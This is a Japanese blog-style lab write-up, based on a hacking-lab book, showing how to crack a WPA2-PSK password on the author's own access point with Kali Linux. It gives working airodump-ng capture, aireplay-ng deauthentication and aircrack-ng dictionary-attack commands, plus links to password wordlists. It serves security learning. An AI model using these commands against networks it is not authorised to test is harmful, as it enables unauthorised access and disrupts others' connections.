はじめに
「ハッキング・ラボのつくりかた」p.559-568を参考に、kaliLinux2022.1で検証してみた記事です。
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
WPAの解析アプローチ
WPAでは、各パケットが一意性があり、かつ一時的な鍵で暗号化されているので、大量のパケットを収集して解析するというアプローチでは解析が難しい。
APと機器の接続が確立するときに、4-way handshakeというやり取りが行われる。4-way handshakeの認証データはWPAのパスワード、ESSID,両者のMACアドレス,ノンス(疑似乱数)などをハッシュ化して生成される。そのパケットをキャプチャして、WPAのパスワードの復元を目指す。
解析
4-way handshakeの認証データを多くキャプチャしたい場合、何回もAPと機器の接続を遮断する。両者は再接続を図ろうとするため、認証データを数多く得ることができる。このアプローチは、APに接続している、または接続しようとするKaliLinux以外の機器がないと、利用できない。
APの設定
項目 | 値 |
---|---|
ESSID | *** |
WPA2-PSK | AES |
パスワード(WPAキー) | 87654321 |
ESSIDは、普段遣いのため伏せ字にした。
事前に、wifiアダプタをmonitorモードにしておく。
ターゲットのAPを探す。
sudo airodump-ng wlan0
このときに、APのBSSID,接続しているターゲット機器のMACアドレスを控えておく。
辞書ファイルの作成
キャプチャファイルのパスワードの解析は、辞書攻撃で行う。
辞書攻撃で使う辞書を事前に準備しておく。(正答も辞書に挿れておくこと)
キャプチャファイルのディレクトリも同時に作っておく。
mkdir wpa2
cd wpa2/
cat > dic.txt
aaaa
12345678
87654321
test
john
^C
//Ctrl+cで終了
辞書ファイルをダウンロードしても良い。
- rockyou
https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt - wpa2-wordlists
https://github.com/kennyn510/wpa2-wordlists - rockyou2021
https://github.com/ohmybahgosh/RockYou2021.txt
キャプチャファイルの生成
sudo airodump-ng --bssid <APのBSSID> --channel <APが使用しているチャンネル> --write wpa2handshake wlan0
もし、実行画面右上に、"fixed channel wlan0: 1"と出る場合には、前述のコマンドを終了させて、
sudo iwconfig wlan0 channel <APが使用しているチャンネル>
を実行すると、一時的な対処になる。その後、再度airodump-ngを行う。
このエラーについて、検索を掛けると、結構ヒットする。同じエラーに悩まされている人が多いのだろう。
ターゲット端末の切断
別に端末を立ち上げて、次のコマンドを実行する。
無線LANネットワークからターゲット機器が切断される。
sudo aireplay-ng --deauth 10 -a <APのBSSID> -c <ターゲット機器のMACアドレス> wlan0
//または
sudo aireplay-ng -0 10 -a <APのBSSID> -c <ターゲット機器のMACアドレス> wlan0
airodump-ngに戻ると、右上に"WPA handshake"と表示されている。
解析
同書p.565より
4-way handshakeの認証データからPTKが得られます。一方、候補となるキーから、ESSID、4-way handshakeのノンス、MACアドレスといった情報を使ってPTKを生成します。よって、前者のPTKと後者のPTKが一致すれば、それがターゲットAPが保持しているWPAと判明します。
さらに、別に端末を立ち上げて、次のコマンドを実行する。
aircrack-ng wpa2handshake-01.cap -w dic.txt -e <APのESSID>
おわりに
WEPのパスワード解析と同じように、キャプチャ担当、工作担当、解析担当の計3つのコマンドを同時に実行することで、パスワード解析が可能になる。
参考にしたもの
「ハッキング・ラボのつくりかた」